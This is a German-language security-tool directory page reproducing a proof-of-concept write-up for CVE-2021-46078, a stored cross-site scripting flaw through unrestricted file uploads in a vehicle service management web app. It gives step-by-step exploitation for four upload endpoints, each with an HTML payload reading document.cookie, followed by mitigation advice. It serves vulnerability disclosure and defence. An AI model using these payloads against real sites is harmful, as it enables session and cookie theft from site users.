Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Vehicle-Service-Management-System-Multiple-File-upload-Leads-to-Stored-Cross-Site-Scripting — CVE-2021-46078 - Eine Sicherheitslücke für uneingeschränkten Datei-Upload besteht in Sourcecodester Vehicle Service Management System 1.0. Ein entfernter Angreifer kann bösartige Dateien hochladen, was zu einer Sicherheitslücke für gespeichertes Cross-Site-Scripting führt. | Kitploit
Tools/GitHubGitHub/sanupl/vehicle-service-management-system-multiple-file-upload-leads-to-stored-cross-site-scripting
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstestsLernen & Bildung
GitHubsanupl/vehicle-service-management-system-multiple-file-upload-leads-to-stored-cross-site-scripting

Vehicle-Service-Management-System-Multiple-File-upload-Leads-to-Stored-Cross-Site-Scripting

CVE-2021-46078 - Eine Sicherheitslücke für uneingeschränkten Datei-Upload besteht in Sourcecodester Vehicle Service Management System 1.0. Ein entfernter Angreifer kann bösartige Dateien hochladen, was zu einer Sicherheitslücke für gespeichertes Cross-Site-Scripting führt.

Repository anzeigen
1vor 4 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2021-46078

Exploit-Titel: Vehicle Service Management System - 'Mehrere' Datei-Uploads führen zu gespeichertem Cross-Site-Scripting

Exploit-Autor: SANU P.L

CVE: CVE-2021-46078

CVSS: 4.8 MITTEL

Referenzen:

  • https://www.plsanu.com/vehicle-service-management-system-multiple-file-upload-leads-to-stored-cross-site-scripting
  • https://nvd.nist.gov/vuln/detail/CVE-2021-46078
  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-46078

Beschreibung:

Eine Schwachstelle in Bezug auf uneingeschränkten Datei-Upload besteht in Sourcecodesters Vehicle Service Management System 1.0. Ein entfernter Angreifer kann schädliche Dateien hochladen, was zu einer gespeicherten Cross-Site-Scripting-Schwachstelle führt.

1. Vehicle Service Management System - 'Mein Konto' (/admin/?page=user)

Exploit:

  1. Melden Sie sich im Admin-Panel an: http://localhost/vehicle_service/admin
  2. Navigieren Sie zum Bereich "Mein Konto": http://localhost/vehicle_service/admin/?page=user

Payload:

root@kitploit:~
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
  1. Speichern Sie den obigen HTML-Code als z. B. XSS.html.
  2. Geben Sie im Bereich "Mein Konto" alle erforderlichen Details ein und wählen Sie die HTML-Datei unter Avatar aus.
  3. Klicken Sie auf "Aktualisieren".
  4. Öffnen Sie das Avatarbild in einem neuen Tab.
  5. Der schädliche JavaScript-Code wird ausgelöst.

2. Vehicle Service Management System - 'Benutzerliste' (/admin/?page=user/manage_user)

Exploit:

  1. Melden Sie sich im Admin-Panel an: http://localhost/vehicle_service/admin
  2. Navigieren Sie zum Bereich "Benutzerliste" und klicken Sie auf "Neu erstellen".

Payload:

root@kitploit:~
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
  1. Speichern Sie den obigen HTML-Code als z. B. XSS.html.
  2. Geben Sie auf der Seite "Neuen Benutzer erstellen" alle erforderlichen Details ein und wählen Sie die HTML-Datei unter Avatar aus.
  3. Klicken Sie auf "Speichern".
  4. Öffnen Sie das Avatarbild in einem neuen Tab.
  5. Der schädliche JavaScript-Code wird ausgelöst.

3. Vehicle Service Management System - 'Einstellungen - System-Logo' (/admin/?page=system_info)

Exploit:

  1. Melden Sie sich im Admin-Panel an: http://localhost/vehicle_service/admin
  2. Navigieren Sie zum Bereich "Einstellungen": http://localhost/vehicle_service/admin/?page=system_info

Payload:

root@kitploit:~
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
  1. Speichern Sie den obigen HTML-Code als z. B. XSS.html.
  2. Geben Sie im Bereich "Einstellungen" alle erforderlichen Details ein und wählen Sie die HTML-Datei unter System-Logo aus.
  3. Klicken Sie auf "Aktualisieren".
  4. Öffnen Sie das System-Logo-Bild in einem neuen Tab.
  5. Der schädliche JavaScript-Code wird ausgelöst.

4. Vehicle Service Management System - 'Einstellungen - Website-Cover' (/admin/?page=system_info)

Exploit:

  1. Melden Sie sich im Admin-Panel an: http://localhost/vehicle_service/admin
  2. Navigieren Sie zum Bereich "Einstellungen": http://localhost/vehicle_service/admin/?page=system_info

Payload:

root@kitploit:~
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
  1. Speichern Sie den obigen HTML-Code als z. B. XSS.html.
  2. Geben Sie im Bereich "Einstellungen" alle erforderlichen Details ein und wählen Sie die HTML-Datei unter Website-Cover aus.
  3. Klicken Sie auf "Aktualisieren".
  4. Öffnen Sie das Website-Cover-Bild in einem neuen Tab.
  5. Der schädliche JavaScript-Code wird ausgelöst.

Auswirkungen:

Ein Angreifer kann an mehreren Endpunkten schädliche Dateien hochladen, was zu gespeichertem Cross-Site-Scripting führt.

Abhilfe:

Es wird empfohlen, Folgendes zu implementieren:

  • Akzeptieren Sie niemals einen Dateinamen und seine Erweiterung direkt ohne einen Whitelist-Filter.
  • Wenn keine Unicode-Zeichen erforderlich sind, wird dringend empfohlen, nur alphanumerische Zeichen und nur einen Punkt als Eingabe für den Dateinamen und die Erweiterung zu akzeptieren.
  • Begrenzen Sie die Dateigröße auf einen Maximalwert, um Denial-of-Service-Angriffe zu verhindern.
  • Das Upload-Verzeichnis sollte keine "Ausführungs"-Berechtigung haben.
  • Verlassen Sie sich nicht ausschließlich auf clientseitige Validierung.
Tool herunterladen